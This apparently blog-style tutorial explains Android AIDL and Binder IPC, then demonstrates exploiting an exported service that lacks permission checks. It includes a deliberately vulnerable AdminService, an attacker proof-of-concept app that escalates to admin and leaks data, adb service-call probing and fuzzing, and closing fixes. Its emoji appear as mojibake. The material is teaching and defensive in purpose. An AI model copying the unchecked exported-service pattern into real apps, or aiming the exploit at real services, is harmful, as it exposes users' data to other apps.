What problem AIDL solves?
Normally:
- One app = one process
- Another app = different process
๐ These processes cannot directly call each other's methods
So Android provides: ๐ Binder IPC (Inter-Process Communication)
And AIDL is just: ๐ A way to define how two apps talk via Binder
AIDL = contract between client and service
It defines:
- What methods can be called
- What data can be passed
Step-by-step Working Flow
1. You define an AIDL interface
Example:
interface IMyService {
int add(int a, int b);
}๐ This is like saying:
"Service will provide
add()method"
2. Android generates code
From this AIDL file, Android generates:
Stub(Server-side)Proxy(Client-side)
Think:
- Stub โ Receives calls
- Proxy โ Sends calls
3. Service side (Server)
You implement the Stub:
public class MyService extends Service {
private final IMyService.Stub binder = new IMyService.Stub() {
public int add(int a, int b) {
return a + b;
}
};
// In this code Binder Object >> IMyService.Stub binder >> This is the bridge between processes
public IBinder onBind(Intent intent) {
return binder;
}
}๐ This runs in Service process

4. Client binds to service
bindService(intent, connection, BIND_AUTO_CREATE);5. Client gets IBinder
public void onServiceConnected(ComponentName name, IBinder service) {
IMyService myService = IMyService.Stub.asInterface(service);
}๐ This is the MOST IMPORTANT line:
Stub.asInterface(service)What happens:
- If same process โ returns actual object
- If different process โ returns Proxy
6. Client calls method
myService.add(2, 3);But internally ๐
๐ฅ Internal Flow (Real Magic)
Step-by-step behind the scenes:
1. Client calls:
Proxy.add(2, 3)2. Proxy:
- Packs data into Parcel
- Calls
transact()on IBinder
IBinder.transact()3. Binder Driver (Kernel level)
- Transfers data between processes
4. Stub receives call
onTransact()is triggered- Unpacks Parcel
- Calls actual method
5. Real method executes
return a + b;6. Result sent back
- Packed again in Parcel
- Sent to client via Binder
7. Client receives result
return 5;Visual Flow
Client
โ
Proxy (packs data)
โ
IBinder.transact()
โ
Binder Driver (Kernel)
โ
Stub.onTransact()
โ
Actual Service Method
โ
Result โ back same pathKey Components (Very Important)
1. IBinder
- Core IPC interface
- Has
transact()
2. Stub
- Server-side handler
- Extends Binder
- Implements AIDL methods
3. Proxy
- Client-side
- Calls
transact()
4. Parcel
- Data container
- Used to send data across processes
One-line Understanding
๐ AIDL = Proxy (client) โ Binder โ Stub (server)
How To Exploit It?
๐ฅ 1. Vulnerable AIDL Service (Target App)
AIDL Interface
interface IAdminService {
void setAdmin(boolean isAdmin);
String getSecretData();
}Vulnerable Service Implementation
public class AdminService extends Service {
private boolean isAdmin = false;
private final IAdminService.Stub binder = new IAdminService.Stub() {
@Override
public void setAdmin(boolean value) {
isAdmin = value; // โ No permission check
}
@Override
public String getSecretData() {
if (isAdmin) {
return "TOP_SECRET_DATA";
}
return "Access Denied";
}
};
@Override
public IBinder onBind(Intent intent) {
return binder;
}
}AndroidManifest.xml (VULNERABLE ๐ฅ)
<service
android:name=".AdminService"
android:exported="true" />โ Why this is Vulnerable
- Service is exported = any app can access
- No permission check
- Sensitive method exposed
๐ Any app can:
- Become admin
- Read secret data
๐ฅ 2. Exploit PoC App (Attacker App)
Step 1: Bind to Service
Intent intent = new Intent();
intent.setComponent(new ComponentName(
"com.victim.app",
"com.victim.app.AdminService"
));
bindService(intent, connection, Context.BIND_AUTO_CREATE);Step 2: ServiceConnection
private IAdminService adminService;
private ServiceConnection connection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
adminService = IAdminService.Stub.asInterface(service);
try {
exploit();
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void onServiceDisconnected(ComponentName name) {}
};Step 3: Exploitation Logic
private void exploit() throws Exception {
// Step 1: Become admin
adminService.setAdmin(true);
// Step 2: Access secret data
String secret = adminService.getSecretData();
Log.d("EXPLOIT", "Leaked Data: " + secret);
}๐ฅ What Happens Internally
Attacker App
โ
Proxy (generated from AIDL)
โ
IBinder.transact()
โ
Victim App (Service)
โ
Stub.onTransact()
โ
setAdmin(true) โ privilege escalation
getSecretData() โ data leak๐ฅ 3. ADB-Based Exploitation
If you don't know interface:
adb shell service listThen:
adb shell service call <service_name> <code> i32 1๐ Try different codes to:
- Flip boolean
- Extract data
๐ฅ 4. Fuzzing-Based Exploitation
Using your fuzzer:
python fuzzer.py <service_name>๐ It may discover:
- Method code for
setAdmin - Crash or logic flaws
๐ฅ 6. How to Fix
โ Add Permission
<service
android:name=".AdminService"
android:exported="true"
android:permission="com.victim.SECURE_PERMISSION"/>โ Validate Caller
int uid = Binder.getCallingUid();
if (uid != TRUSTED_UID) {
return;
}โ Implement exported="false"
android:exported="false"